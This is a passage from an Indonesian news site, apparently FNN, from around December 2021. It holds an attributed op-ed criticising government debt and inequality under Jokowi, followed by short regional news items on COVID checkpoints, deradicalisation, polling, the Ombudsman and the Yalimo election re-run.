Oleh: Gde Siriana *) UTANG Pemerintah pada Oktober 2014 tercatat Rp2.601 triliun (25,6% PDB) sedangkan pada Oktober 2019, Rp4.756,13 triliun (29,87% PDB). Itu berarti, ada penambahan utang Pemerintah sebesar Rp2.156 triliun selama periode pertama kepresidenan Jokowi. Berdasarkan data Kementerian Keuangan per September 2021, utang Pemerintah tercatat sebesar Rp6.711,52 triliun atau 41,38% dari PDB. Pada akhir 2022, utang pemerintah diproyeksikan mendekati Rp8.000 triliun atau sekitar 50% dari PDB. Meskipun UU menetapkan batas utang aman di bawah rasio 60% dari PDB bukan berarti pemerintah menjadi mudah menambah utang tanpa mempertimbangkan indikator lainnya. Rasio utang terhadap PDB di bawah 30% bukan berarti aman apabila rasio pajak terus rendah. Akumulasi utang dan pendapatan rendah sebagai dampak pandemi akan membawa Indonesia terjebak dalam perangkap utang. Rasio penerimaan pajak yang rendah mencerminkan juga potensi utang terus “berkelanjutan”, di mana jumlah utang baru hampir selalu lebih besar cicilan utang. Kemampuan bayar utang juga dapat dilihat dari rasio ekspor. Jika melihat data sebelum pandemi, 2017-2018, rasio pajak dan rasio ekspor Indonesia adalah yang terendah dibandingkan dengan Singapura, Thailand, Malaysia dan Filipina. Bahkan dalam rasio ekspor Indonesia sangat tertinggal, Malaysia lebih tinggi 4 kali lipat sedangkan Singapura lebih tinggi hampir 7 kali lipat. Wajar jika Malaysia dan Singapura memiliki rasio utang di atas Indonesia. Secara berurutan, beban bunga baru yang diakibatkan pembiayaan defisit APBN sejak 2020 hingga 2022 masing-masing sebesar Rp 38,2 triliun, Rp 49,6 triliun, dan Rp 45,3 triliun. Membengkaknya hutang berkonsekuensi terhadap membesarnya biaya bunga yang harus dibayar. Pada 2021 ini, APBN harus mengalokasikan biaya bunga sebesar Rp366,2 triliun. Bahkan pada 2022, pemerintah memperkirakan total bunga utang mencapai Rp417,4 triliun. Beban utang Pemerintah dan BUMN kemungkinan akan bertambah karena pemerintah ngotot meneruskan proyek membangun ibukota baru di saat pandemi Covid-19 belum reda. Sumber dana proyek ibukota baru di Kalimantan Timur itu sebagian besar berasal dari utang yang dibungkus dengan program kerjasama. Per 20 Oktober 2014, atau hari pertama Jokowi menjabat sebagai Presiden RI, nilai rupiah terhadap Dolar AS berdasarkan kurs tengah BI berada di posisi Rp12.041 per Dolar AS. Pada akhir November 2021, nilai rupiah berada di posisi Rp14.310 - Rp14.320 per Dolar AS. Pandemi juga telah mengkonfirmasi bahwa ketimpangan yang ditunjukkan oleh Rasio Gini dan bertambahnya jumlah aset orang-orang kaya secara signifikan selama pandemi menunjukkan, pemerintahan Jokowi gagal menjaga keadilan ekonomi. Kondisi ini diperkuat dengan meningkatnya jumlah orang miskin dan pengangguran. Credit Suisse, Januari 2017: ketimpangan kekayaan antara orang kaya dan miskin di Indonesia termasuk yang paling buruk di dunia, hanya lebih baik dibanding Rusia, India, dan Thailand. Hasil survei mengatakan 10 persen orang terkaya di Indonesia menguasai 75,7 persen kekayaan nasional di mana satu persen orang terkaya menguasai 49,3 persen kekayaan nasional. Rasio Gini Indonesia pada Maret 2019 berada di level 0,382. Setelah ada pandemi, Rasio Gini per September 2020 adalah 0,385. Credit Suisse, 2020: Jumlah orang kaya dan super kaya di Indonesia justru menanjak di tengah gempuran wabah virus corona. Jumlah penduduk di Indonesia dengan kekayaan bersih 1 juta dollar AS atau lebih mencapai 171.740 pada tahun 2020. Angka tersebut melonjak hingga 61,69 persen year on year (yoy) dari jumlah pada 2019. Selain itu, jumlah penduduk Indonesia yang sangat kaya, memiliki kekayaan lebih dari 100 juta dollar AS, pada tahun 2020 mencapai 417 orang, naik 22,29 persen dari tahun 2019. Ketimpangan yang ditunjukkan oleh Rasio Gini bukan semata-mata soal kekayaan, melainkan juga akses terhadap pendidikan dan kesehatan karena kedua hal itu saling berkaitan. KPK pada September 2021 merilis data bahwa 70,3 persen pejabat negara harta kekayaannya naik selama setahun terakhir atau di masa pandemi Covid-19. Laporan itu berdasarkan analisis terhadap laporan harta kekayaan penyelenggara negara (LHKPN) pada periode 2019-2020. Kenaikan paling banyak terlihat pada harta kekayaan pejabat di instansi kementerian dan DPR yang angkanya mencapai lebih dari Rp1 miliar. Sedangkan, di tingkat legislatif dan eksekutif daerah, penambahannya masih di bawah Rp1 miliar. Tingkat kemiskinan pada Maret 2019 adalah sebesar 9,41% atau 25,14 juta orang. Pada masa pandemi, September 2020 jumlah orang miskin di Indonesia adalah 27,55 juta (10,19%), dan Maret 2021, jumlah orang miskin sedikit berkurang menjadi 27,54 juta (10,14%). Tingkat pengangguran Indonesia tahun 2019 adalah 5,01% (Februari 2019), kurang lebih setara dengan Filipina, dimana keduanya menjadi dua negara di ASEAN dengan tingkat pengangguran tertinggi. Per 16 April 2020 atau hanya 44 hari sejak Presiden Jokowi mengumumkan kasus Covid-19 pertama di Indonesia pada 2 Maret 2020, pekerja yang dirumahkan dan terkena PHK sudah mencapai 1.943.916. Jumlah itu terdiri dari 1.500.156 pekerja sektor formal dan 443.760 pekerja sektor informal. Pada Agustus 2020, jumlah pengangguran terbuka (TPT) tercatat sebesar 9,77 juta orang (7,07% angkatan kerja). Ini merupakan TPT tertinggi selama pemerintahan Presiden Jokowi sejak 2014. (Bersambung) *) Penulis Buku “Keserakahan di Tengah Pandemi”

Pos Pantau Polda Jabar untuk Pastikan Masyarakat Telah Divaksinasi

Cirebon, FNN - Kepala Kepolisian Daerah (Kapolda) Jawa Barat Irjen Pol Suntana mengatakan pos pantau didirikan di beberapa titik pada masa libur Natal dan Tahun Baru hanya untuk memastikan masyarakat yang bepergian sudah divaksinasi serta terbebas dari COVID-19. "Pos pantau ini hanya untuk memastikan masyarakat yang akan bepergian telah menjalani vaksinasi," kata Irjen Pol Suntana di Cirebon, Jumat. Irjen Suntana mengatakan pos pantau akan didirikan di beberapa titik, di antaranya di pintu masuk Bandung, Pangandaran, Karawang, dan lainnya. Pos pantau tersebut lanjut Suntana, hanya untuk memastikan masyarakat yang bepergian pada libur Natal dan Tahun Baru, sudah mengikuti protokol kesehatan serta telah divaksinasi. Nantinya pos pantau tersebut juga dijaga oleh anggota Polri untuk melakukan pemeriksaan kendaraan yang berpelat luar daerah. "Kita lakukan pemeriksaan setiap kendaraan yang akan masuk wilayah Jawa Barat," tuturnya. Irjen Suntana menambahkan pos pantau itu merupakan upaya untuk meminimalkan penyebaran COVID-19 di Jawa Barat, terutama saat memasuki libur Natal dan Tahun Baru. Karena pada masa tersebut, banyak warga yang keluar dan berkumpul, sehingga butuh kesadaran bersama terkait penerapan protokol kesehatan, agar kasus COVID-19 tidak kembali naik. "Ini upaya kita untuk menekan laju penyebaran COVID-19 di Jawa Barat," katanya. (sws)

Satops Patnal Pas Kalsel Geledah Penghuni Rutan Rantau

Tapin, FNN - Tim Satuan Kepatuhan Internal Pemasyarakatan (Satops Patnal Pas) Kalimantan Selatan menggeledah blok hunian dan melakukan tes urine terhadap penghuni Rutan Kelas II B Rantau. Kepala Divisi Pemasyarakatan Kemenkumham Kalsel Sri Yuwono di Rutan Rantau, Jumat, mengatakan tidak ditemukan barang berbahaya. "Rutan Rantau dalam keadaan kondusif," ujarnya. Yuwono mengungkapkan hanya menyita beberapa barang, di antaranya beberapa macis, sendok besi dan perkakas lainnya, karena dianggap berpotensi membahayakan. Kegiatan yang melibatkan personil Satopatnal Pas Se-Banua Enam dan TNI POLRI itu bertujuan mendukung komitmen tiga kunci permasyarakatan maju. Pertama, deteksi dini gangguan keamanan dan ketertiban khususnya menjelang natal dan tahun baru. Selanjutnya, pemberantasan narkoba dan membangun sinergitas dengan TNI - Polri. "Alhamdulillah, dari beberapa sampel yang diambil secara acak, tes urine negatif narkotika semua," ujarnya. Kepala Rutan Rantau Andi Hasyim, mengatakan untuk menjaga kondusifitas, pihaknya, melakukan pemeriksaan delapan kali dalam sebulan. "Sekarang, penghuni Rutan Rantau berjumlah 311 orang dan 70 persen dari kasus narkotika. Alhamdulillah, kondusif," ujarnya. Kegiatan itu, dinilainya, berjalan aman dan tertib. Barang barang hasil razia itu akan dimusnahkan. Pemeriksaan oleh Satops Patnal Pas itu juga dilakukan di beberapa tempat lainnya di Kalsel. (sws)

BNPT Resmikan "Warung NKRI" Wujud Sinergi Dengan Mitra Deradikalisasi

Jakarta, FNN - Badan Nasional Penanggulangan Terorisme (BNPT) dan PT KAI Persero meresmikan tempat berjualan usaha mikro, kecil, dan menengah (UMKM) untuk Mitra Deradikalisasi dan Penyintas bernama Warung NKRI (Wadah Akur Rukun Usaha Nurani Gelorakan NKRI). Berdasarkan keterangan yang diterima di Jakarta, Jumat, lokasi peresmian Warung NKRI adalah di Stasiun Malang Baru dan Gubeng Surabaya, Provinsi Jawa Timur. Warung NKRI merupakan program deradikalisasi yang berangkat dengan pendekatan pemberdayaan ekonomi usaha mikro, kecil, dan menengah, yang merupakan program pencegahan melalui pendekatan lunak atau soft approach. Warung NKRI ini akan dikelola dengan gratis oleh sekitar delapan orang Mitra Derad dan Penyintas. Mereka akan berjualan produk-produk UMKM seperti kuliner dan kerajinan tangan. Warung NKRI memiliki nuansa berbeda dibandingkan warung lainya. Warung ini disertai ornamen kebangsaan, seperti bendera merah putih, lambang pancasila, dan lainnya. Selain itu, juga terdapat diskusi mengenai wawasan kebangsaan agar dalam praktiknya, penjual dan pembeli bersama-sama mampu menumbuhkan rasa cinta terhadap NKRI, terutama generasi muda. Kepala BNPT Komjen Pol. Boy Rafli Amar mengatakan bahwa Warung NKRI secara filosofis mengangkat semangat anti-radikalisme dan terorisme, di mana konsep warung ini adalah konsep yang diharapkan menjadi tempat pertemuan, dan dalam kegiatannya dapat dititipkan pesan kebangsaan. "Aktivitas perekonomian UMKM di warung ini kita berikan kepada eks napiter dan penyintas sebagai bentuk pemberdayaan berbasis kesejahteraan," jelasnya. Dengan disediakannya Warung NKRI ini, para eks napiter dan penyintas dapat saling bertemu dan berkomunikasi, sehingga dapat terjalin hubungan yang baik. "Menyambungkan eks napiter dan penyintas agar rukun. Mereka guyub dalam menatap hari depan. Dan mereka harus yakin ideologi kekerasan radikalisme dan terorisme tidaklah cocok," ujarnya. Sementara itu, mewakili Direktur Utama PT KAI Persero, Direktur Keselamatan dan Keamanan PT KAI Persero John Roberto menyebutkan PT KAI akan mendukung upaya penanggulangan terorisme di Indonesia. Salah satu dukungan tersebut adalah pendirian Warung NKRI dan Dialog Wawasan Kebangsaan Anti Radikalisme kepada insan PT KAI Persero. "Pendirian Warung NKRI merupakan salah satu Kolaborasi untuk menindak lanjuti PKS yang sebelumnya telah dibuat bersama. Sementara itu, Dialog Wawasan Kebangsaan dapat membangkitkan rasa nasionalisme terhadap insan KAI serta menciptakan lingkungan kerja yang bebas paham terorisme," katanya. Sebelumnya, Warung NKRI telah diresmikan di Stasiun Solo Balapan Provinsi Jawa Tengah. Dialog Wawasan Kebangsaan sebelumnya telah dilaksanakan di Stasiun Gambir Jakarta, Cirebon Jawa Barat, Purwokerto Jawa Tengah dan Yogyakarta, Stasiun Madiun, dan Ketapang pada Rabu (8/12). Pihak BNPT dan PT KAI Persero menggunakan Kereta Inspeksi 4 dalam mengunjungi tiap stasiun yang terletak di sepanjang pulau Jawa ini. Maraknya aksi terorisme di Jawa Timur tentunya menjadi PR bersama pemerintah baik pusat maupun daerah, di mana kehadiran negara sangatlah penting dalam program pencegahan yang salah satunya merupakan program deradikalisasi. (sws)

23 Wartawan Kabupaten Sumenep Lulus Uji Kompetensi

Sumenep, FNN - Sebanyak 23 dari 24 wartawan yang mendaftarkan diri dinyatakan lulus dalam Uji Kompetensi Wartawan (UKW) Jenjang Muda yang berlangsung di Kabupaten Sumenep, Jawa Timur, selama dua hari pada Kamis-Jumat (9-10/12). Sejumlah 23 wartawan peserta UKW dinyatakan kompeten karena berhasil meraih nilai terendah 77 hingga tertinggi 84, sedangkan satu wartawan mengundurkan diri sebelum pelaksanaan UKW. Penutupan UKW dilakukan oleh Manager Public anda Government Affairs Kangean Energy Indonesia (Ltd) Hanip Suprapto. Hanip memberikan sertifikat kepesertaan telah mengikuti UKW kepada empat peserta dari masing-masing kelompok yang mendapat nilai tertinggi, yakni kepada Gita Larasati (Radio Ada FM), Fathol Alif (Koran Madura), Miftahol Hendra Efendi (Madurapost.net), dan Syahid Mujtahidy (Kabar Madura), Hanip juga memberikan sertifikat kepada empat penguji dari Perum Lembaga Kantor Berita Nasional ANTARA, yakni AA Ariwibowo, Budi Setiawanto, Chaidar Abdullah, dan Zarqoni Maksum. . UKW diselenggarakan oleh Kangean Energy Indonesia (Ltd) bekerja sama dengan Perum Lembaga Kantor Berita Nasional ANTARA selaku penguji bagi peserta UKW. Ke-23 peserta yang dinyatakan kompeten adalah M Hariri (TV 9 Nusantara), Wildan Lipu Prasasti (JTV), A Khairul Anwar (Metro TV), Abdul Rahem (MNC Group), Syaiful Anwar (Arek TV), Gita Larasati (Radio Ada FM). Adi Pranoto (Pojok Kiri), Ainul Anwar (Memorandum), M Sadam Husen (Berita Jatim Pos), M Fahrul (Liputan6.com), Rafiqi (Mata Madura). M Khozen (Maduraupdate.com), Hambali Rasidi (Mata Madura), Miftahol Hendra Efendi (Madurapost.net), Supanji (wartazone.com), Hazmi (Realita.co), Fajrullah (Limadetik.com). Fathol Alif (Koran Madura), Taufikurrahman (PortalMadura.com), Hasibuddin (Pojoksuramadu.com), Helman (Sorotpublik.com), dan Hairul Arifin (suarabangsa.co.id). Manager Lembaga Pendidikan Antara Primayanti menyampaikan bahwa sertifikat dari Dewan Pers bagi seluruh peserta yang dinyatakan kompeten tersebut akan dikirimkan kemudian. Mereka juga akan mendapatkan "single number" dari Dewan Pers sebagai identitas kompeten. (sws)

Dankormar: Denjaka Dituntut Tingkatkan Kemampuan Tangani Aksi Teror

Jakarta, FNN - Komandan Korps Marinir Mayor Jenderal TNI (Mar) Suhartono mengatakan Detasemen Jala Mangkara (Denjaka) TNI Angkatan Laut dituntut untuk meningkatkan kemampuan dalam penanggulangan aksi teror. "Kemampuan tren aksi teror dan aktivitas terorisme global yang berkembang sedemikian rupa merupakan tantangan dan menuntut peningkatan kemampuan personel Denjaka sebagai satuan penanggulangan teror TNI aspek laut," kata Dankormar saat membuka Kursus Penanggulangan Teror Aspek Laut (PTAL) Angkatan Ke-16 Tahun Anggaran 2021, di Kesatrian Arthur Solangs, Markas Komando (Mako) Denjaka, Cilandak, Jakarta Selatan, Jumat, seperti dikutip dalam siaran persnya. Kursus PTAL diikuti prajurit Jalasena terpilih yang berkualifikasi khusus, yaitu dari Prajurit Komando Pasukan Katak (Kopaska) dan Prajurit Intai Amfibi Marinir yang tangguh dan unggul yang akan mengikuti Program Kursus Penanggulangan Teror Aspek Laut selama kurang lebih enam bulan. Kegiatan tersebut diikuti 1 SST (Satuan Setingkat Peleton) Pasukan Upacara dari Denjaka, pelatih PTAL, siswa PTAL, Kopaska, Taifib 1 Marinir, Korps Musik, dan Brigif 1 Mar yang dipimpin Komandan Upacara Mayor Marinir Haryono yang sehari-hari menjabat sebagai Kepala Seksi Perencanaan dan Anggaran (Kasirengar) Denjaka TNI AL. Pembukaan Kursus Penanggulangan Teror Aspek Laut ini ditandai dengan pelepasan tanda pangkat dan pemasangan tanda siswa PTAL oleh Dankormar kepada salah satu perwakilan peserta kursus. Menurut Suhartono, kegiatan kursus ini bertujuan untuk memberikan pembekalan pengetahuan dan keterampilan dalam rangka rekrutmen personel Pengawal Satuan Denjaka TNI AL. Ia berharap para peserta kursus dapat mengikuti seluruh rangkaian kegiatan kursus ini dengan baik dan penuh semangat agar sasaran program kursus yang diharapkan dapat tercapai secara optimal dan memiliki kepribadian jiwa kesatria, patriot pejuang tanpa pamrih, profesional, militan, pantang menyerah, dan setia mengabdi kepada ibu pertiwi. Hadir dalam kegiatan tersebut Kadiswatpersal, Wadankormar, Irkormar, Danpasmar-1, Danpuskopaska, beberapa pejabat teras Mabes TNI-AL dan TNI-AD, seluruh Asisten Dankormar dan Kadis Kormar, Dankolak Pasmar-1, Wadan Kasat 1 Gegana Brimob, Dansat Gultor 81 Kopasus TNI AD, Dansat Bravo 90 TNI AU, serta Dansat Kopaska Koarmada II. (sws)

Survei CISA: Ganjar, AHY dan Anies Posisi Tiga Teratas

Jakarta, FNN - Survei yang dilakukan oleh Lembaga Analis dan Konsultan Sosial Politik Indonesia, Centre for Indonesia Strategic Actions (CISA) menunjukkan tiga kandidat capres berada di posisi teratas, yakni Ganjar Pranowo, Agus Harimurti Yudhoyono dan Anies Baswedan. "Jika Pemilihan Presiden dilakukan saat ini, Gubernur Jawa Tengah Ganjar Pranowo keluar sebagai pemenang dengan mendapatkan 16 persen," kata Direktur Eksekutif CISA Herry Mendrofa dalam keterangan tertulisnya, di Jakarta, Jumat. Disusul Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono (AHY) yang mencapai 14 persen, dan posisi ketiga ada Gubernur DKI Jakarta Anies Baswedan yang mendapatkan 13,33 persen. Kemudian, Sandiaga Uno mendapatkan 6,93 persen, Ketua Umum Partai Golkar Airlangga Hartarto 6,25 persen, sedangkan Prabowo Subianto harus rela keluar dari posisi 5 besar karena hanya mendapatkan 6 persen. Selanjutnya ada nama Gubernur Jabar Ridwan Kamil di 4,67 persen, Ketua DPR RI Puan Maharani 4,58 persen, Panglima TNI Jenderal TNI Andika Perkasa 3,92 persen, Ketua DPD RI La Nyala Matalitti 3,83 persen, Ketua Umum PKB Muhaimin Iskandar 3,25 persen, Gubernur Jatim Khofiffah Indar Parawansa 2,83 persen, Menteri BUMN Erick Thorir 2,83 persen, Ketua Majelis Syuro PKS Salim Segaf Al Jufri 2,25 persen serta Ketua Umum PAN Zulkifli Hasan 1,67 persen. "Sedangkan yang menjawab tidak tahu atau tidak menjawab 7,67 persen," ujar Herry mengenai tren Kandidat Capres menjelang Pilpres 2024. Hasil survei ini merupakan "review" termin keempat atau sesi terakhir survei CISA tahun 2021 setelah sebelumnya merilis survei ketiga pada September 2021. Survei CISA dimulai sejak tanggal 1-7 Desember 2021 yang menyasar 1.200 responden di 34 provinsi secara proporsional dengan melakukan simulasi kepada 15 kandidat capres. Penarikan sampel dengan menggunakan metode "simple random sampling" dengan "margin of error" mencapai 2,85 persen dengan tingkat kepercayaan 95 persen. (sws)

Ombudsman RI Ajak Semua Pihak Berpartisipasi Awasi Pelayanan Publik

Padang, FNN - Ombudsman RI mengajak semua pihak berpartisipasi mengawasi pelayanan publik agar menjadi lebih baik, transparan, dan berkualitas "Mari bersama-sama turut berperan memperbaiki kelemahan pelayanan publik berupa usulan dan saran agar pelayanan publik lebih berkualitas," kata Ketua Ombudsman RI Mokhammad Najih di Padang, Jumat. Ia menyampaikan hal itu pada "Evaluasi Penilaian Kepatuhan Terhadap Standar Pelayanan Publik 2021" yang digelar oleh Ombudsman RI Perwakilan Sumbar. Menurut dia, partisipasi diperlukan karena akan memberikan penguatan agar apa yang menjadi keluhan masyarakat soal pelayanan publik dapat diperbaiki dan diselesaikan. Ia menyampaikan Ombudsman RI bukan dewa yang sempurna karena memiliki kekurangan dan keterbatasan termasuk jumlah SDM, padahal jangkauannya sangat luas. "Tanpa partisipasi dari semua pihak tentu Ombudsman RI tidak akan bisa bekerja maksimal," kata dia. Ombudsman terus mendorong partisipasi publik mulai dari kalangan perguruan tinggi, organisasi kemasyarakatan, LSM, dan organisasi kepemudaan untuk bersama-sama mengawasi pelayanan publik. "Kami mengusulkan agar di kampus didirikan unit kegiatan mahasiswa di bidang pengawasan pelayanan publik," ujarnya. Selain itu, ia menilai perlu pelibatan perguruan tinggi dalam pendampingan pemerintah daerah yang tingkat kepatuhan terhadap standar layanan publik masih rendah. "Sebentar lagi kami akan mengumumkan hasil penilaian kepatuhan 2021. Harapannya bisa terwujud kerja sama dengan perguruan tinggi dalam melakukan pendampingan terhadap pemda yang kepatuhannya masih rendah," kata dia Di samping itu, Ombudsman RI membuka kesempatan kerja sama dengan para dosen yang ingin melaksanakan riset terkait advokasi kebijakan. Ia mengakui jika tanpa partisipasi dari banyak pihak, maka Ombudsman RI akan kesulitan menjangkau pengawasan pelayanan publik hingga ke desa-desa yang paling ujung. Tidak hanya itu, ia mengajak kalangan legislatif untuk bersama-sama membuat rumah aspirasi di setiap dapil untuk menghimpun keluhan masyarakat soal pelayanan publik. "Ini akan menjadi sinergi yang baik untuk mendengar keluhan publik yang seharusnya menjadi hak masyarakat untuk dipenuhi secara lebih baik," kata dia. (sws)

DPRK Banda Aceh Sarankan Pendidikan Anti Narkoba Masuk Kurikulum Sekolah

Banda Aceh, FNN - Ketua Komisi I DPRK Banda Aceh Musriadi menyarankan kepada pemerintah setempat untuk memasukkan pendidikan anti narkoba ke dalam kurikulum sekolah di ibu kota provinsi Aceh itu. "Dalam Inpres Nomor 2 Tahun 2020 disebutkan salah satunya tentang kurikulum pendidikan bermuatan P4GN (pencegahan, pemberantasan, penyalahgunaan dan peredaran gelap narkoba) di lingkungan pendidikan.," kata Musriadi di Banda Aceh, Jumat. Musriadi mengatakan salah satu tujuan penguatan pendidikan karakter untuk membangun dan membekali peserta didik sebagai generasi emas Indonesia 2045 dengan jiwa pancasila serta pendidikan karakter yang baik guna menghadapi dinamika perubahan di masa depan. Menurut Musriadi, pembinaan masalah narkotika di kalangan pelajar perlu diwujudkan, dan hal itu dapat dilaksanakan dengan dua cara. Pertama, kata dia, melaksanakan penyuluhan mengenai bahaya penyalahgunaan narkotika khususnya kepada generasi muda dan anak usia sekolah. "Kedua, memasukkan pendidikan mengenai bahaya penyalahgunaan narkotika ke dalam kurikulum sekolah," ujarnya. Berkaitan dengan penyuluhan tentang narkotika, lanjut Musriadi, sekolah dapat melaksanakan beberapa alternatif kegiatan seperti mengadakan kerjasama dengan Badan Narkotika Nasional (BNN) untuk turun ke sekolah mengadakan penyuluhan bahaya narkoba. "Juga bisa bekerjasama dengan dinas kesehatan dan BNNK untuk melakukan tes urine secara berkala kepada warga sekolah untuk mengantisipasi penyalahgunaan narkotika di sekolah," kata Musriadi. Sementara itu, Kepala Dinas Pendidikan Banda Aceh Sulaiman Bakri mengimbau orang tua atau wali murid untuk lebih meningkatkan pengawasan pada siswa selama berada di rumah. Sulaiman menuturkan, penyuluhan tersebut penting agar siswa memiliki pengetahuan lebih tentang narkoba, dapat berupa jenis narkotika, efek samping, serta tentang bahaya yang dapat ditimbulkan. "Harapannya dengan membekali pengetahuan mengenai narkotika akan menjauhkan pelajar terhadap penyalahgunaan narkoba," kata Sulaiman. (sws)

Pemkab Manggarai Barat dan Kominfo RI Sinergi "Piloting Smart City"

Labuan Bajo, FNN - Pemerintah Kabupaten Manggarai Barat dan Kementerian Komunikasi dan Informatika Republik Indonesia (Kemkominfo RI) bersinergi dalam rangka persiapan "Piloting Smart City" dan "Digital Talent Scholarship" (DTS) di Labuan Bajo, Manggarai Barat, NTT. "Mari kita manfaatkan peluang ini untuk memberikan pelayanan kepada masyarakat yang berprinsip efektif, efisien dan tepat guna," kata Bupati Manggarai Barat Edistasius Endi di Labuan Bajo, Jumat. Bupati Manggarai Barat Edistasius Endi dan Kepala Badan Litbang SDM Kemkominfo RI Hary Budiarto sudah menandatangani nota kesepahaman dalam rangka persiapan "Piloting Smart City" dan "Digital Talent Scholarship" (DTS) di Labuan Bajo, Manggarai Barat. Kemkominfo tengah menggalakkan gerakan Kota Cerdas (Smart City) dan Program DTS untuk menyiapkan bangsa menghadapi revolusi 4.0. Di dalamnya sendiri ada pengembangan pemerintahan cerdas (smart government) yang membutuhkan sumber daya manusia digital yang mumpuni. Oleh karena itu, Edi menegaskan agar masyarakat dan organisasi perangkat daerah (OPD) bekerja sama dan berkolaborasi mendukung Kota Cerdas melalui keikutsertaan dalam pelatihan digital atau DTS yang diselenggarakan tahun 2022 mendatang. Dia tak ingin Manggarai Barat kehilangan momen yang sama seperti yang telah terjadi sejak tahun 2018 lalu. Dia menegaskan bahwa Manggarai Barat siap terlibat dalam pelatihan tersebut dengan jumlah kuota yang telah ditentukan yakni sebanyak 20.000 peserta. Edi meyakini keikursertaan pemerintah daerah dalam DTS 2022 mendatang akan mewujudkan SDM Digital yang berkualitas guna terwujudnya Kota Cerdas di Labuan Bajo. DTS merupakan program pelatihan intensif untuk para pengambil kebijakan atau pemimpin di institusi pemerintahan maupun swasta, pekerja level teknis, dan masyarakat umum. Tujuan pelatihan tersebut yakni terciptanya kebijakan di bidang teknologi digital, meningkatkan keterampilan dan daya saing masyarakat pada sektor digital di level teknis, serta meningkatnya kemampuan kecakapan digital dasar (literasi digital) yang dibutuhkan untuk mencegah penyebaran konten negatif, seperti hoaks, pembocoran data, radikalisme, sekaligus optimalisasi diseminasi konten positif/produktif. (sws)

Babak Baru Pilkada Ulang di Yalimo

Jayapura, FNN - Pemilihan Kepala Daerah (pilkada) ulang Kabupaten Yalimo, Papua, saat ini mulai memasuki babak baru agenda politik wilayah pegunungan Tengah setelah Komisi Pemilihan Umum (KPU) menetapkan jadwal pemungutan suara 26 Januari 2022. Pascaputusan Mahkamah Konstitusi (MK) yang menyidangkan perkara sengketa Pilkada Yalimo dengan nomor 145/PHP.Bup-XIX/2021 yang amar putusan majelis hakim MK mendiskualifikasi calon Erdi Darbi, Padahal, calon bupati Erbi Darbi yang maju berpasangan dengan Jhon W Wilil meraih suara terbanyak dalam pemungutan suara ulang Pilkada Yalimo pada 5 Mei 2021, namun kemenangannya didiskualifikasi majelis hakim MK karena yang bersangkutan tengah menjalani proses tindak pidana pelanggaran lalu lintas. Saat itu, calon Bupati Yalimo Erdi Dabi menabrak seorang anggota Polwan Brikpa Meisye Batfeny di kawasan Polimak Kota Jayapura hingga meninggal dunia pada 17 September 2020. Erdi didakwa melanggar Pasal 311 ayat 5 UU LLAJ dengan ancaman hukuman maksimal 12 tahun penjara. Di persidangan, Erdi Darbi dihukum 4 bulan penjara pada 18 Februari 2021. Namun, kemenangan Erdi Darbi tampaknya tidak diterima calon bupati kedua Lakius Peyon sehingga mengajukan gugatan ke MK dengan meminta majelis hakim MK untuk mendiskualifikasi pasangan nomor urut 1. Gugatan yang diajukan calon bupati Yalimo Lakius Peyon-Hanum Mabel berbuah manis karena tuntutan permintaan mendiskualifikasi calon Erbi Darbi dikabulkan MK pada 29 Juni 2021. Alhasil, karena keluarnya keputusan majelis hakim MK membuat calon Bupati Yalimo Erbi Darbi yang telah meraih kemenangan harus menerima putusan MK dan didiskualifikasi kepersertaannya di Pilkada. Dari sejumlah amar putusan lain majelis hakim MK di antaranya, membatalkan Keputusan KPU Yalimo Papua untuk hasil pemungutan suara ulang 11 Mei 2021 dan membatalkan Keputusan KPU Yalimo Papua tentang penetapan calon bupati sepanjang keikutsertaan Erdi Darbi. Serta memerintahkan KPU Yalimo Papua menggelar pilkada ulang dengan peserta pasangan nomor urut 1: Calon Baru-John W Wilil dan pasangan nomor urut 2 Lakius Peyon-Nahum Mabe Untuk pelaksanaan Pilkada ulang maksimal selama 120 hari terhitung sejak putusan sengketa Pilkada Kabupaten Yalimo dibacakan MK pada 29 Juni 2021. Minim pendaftar Tahapan Pilkada ulang Yalimo, Papua, sudah dimulai. Komisi Pemiliihan Umum (KPU) Yalimo juga telah memperpanjang waktu pendaftaran pasangan bakal calon bupati dan wakil bupati untuk pemilihan suara ulang (PSU) di kabupaten itu. Sebelumnya, pendaftaran untuk PSU Yalimo dibuka 3-5 Desember 2021. Hingga batas waktu pendaftaran berakhir tidak ada pendaftar dari pasangan calon bupati/wakil bupati Yalimo maupun parpol pengusungnya. Hasil tersebut membuat membuat lembaga penyelenggara pilkada Komisi Pemilihan Umum harus memperpanjang waktu pendaftaran menjadi 9-11 Desember 2021. Hingga mendekati H-1 waktu penutupan tahapan Pilkada Yalimo pendaftaran peserta bagi pasangan bakal calon bupati dan wakil bupati maupun parpol pengusungnya belum juga ada sehingga agenda pilkada ulang 26 Januari 2022 masih belum jelas siapa pesertanya. Pilkada Yalimo diselenggarakan dengan payung hukum Peraturan Pemerintah Pengganti Undang-Undang (Perpu) Nomor 2 Tahun 2020 tentang Perubahan Ketiga atas Undang-Undang Nomor 1 Tahun 2015 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang Nomor 1 Tahun 2014 tentang Pemilihan Gubernur, Bupati, dan Wali kota Menjadi Undang-Undang pada 4 Mei 2020. Sedangkan persyaratan untuk menjadi calon gubernur dan wakil gubernur, bupati dan wakil bupati, atau wali kota dan wakil wali kota berdasarkan Peraturan Komisi Pemilihan Umum Nomor 1 Tahun 2020 tentang Perubahan Ketiga atas PKPU Nomor 3 Tahun 2017 tentang Pencalonan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, atau Wali Kota dan Wakil Wali Kota Pasal 4. Pasal tersebut berbunyi, warga negara Indonesia dapat menjadi calon gubernur dan wakil gubernur, bupati dan wakil bupati, atau wali kota dan wakil wali kota dengan memenuhi persyaratan bertakwa kepada Tuhan Yang Maha Esa, setia kepada Pancasila, Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, cita-cita Proklamasi Kemerdekaan 17 Agustus 1945 dan Negara Kesatuan Republik Indonesia. Sedangkan syarat lain calon kepala daerah berpendidikan paling rendah sekolah lanjutan tingkat atas atau sederajat, berusia paling rendah 30 (tiga puluh) tahun untuk calon gubernur dan wakil gubernur, serta 25 tahun (dua puluh lima) untuk calon bupati dan wakil bupati atau calon wali kota dan wakil wali kota terhitung sejak penetapan pasangan calon. Sementara persyaratan lain juga harus dipenuhi calon kepala daerah yakni mampu secara jasmani, rohani dan bebas penyalahgunaan narkotika berdasarkan hasil pemeriksaan kesehatan menyeluruh dari tim dokter yang terdiri dari dokter, ahli psikologi dan Badan Narkotika Nasional (BNN). Tidak pernah sebagai terpidana berdasarkan putusan pengadilan yang telah memperoleh kekuatan 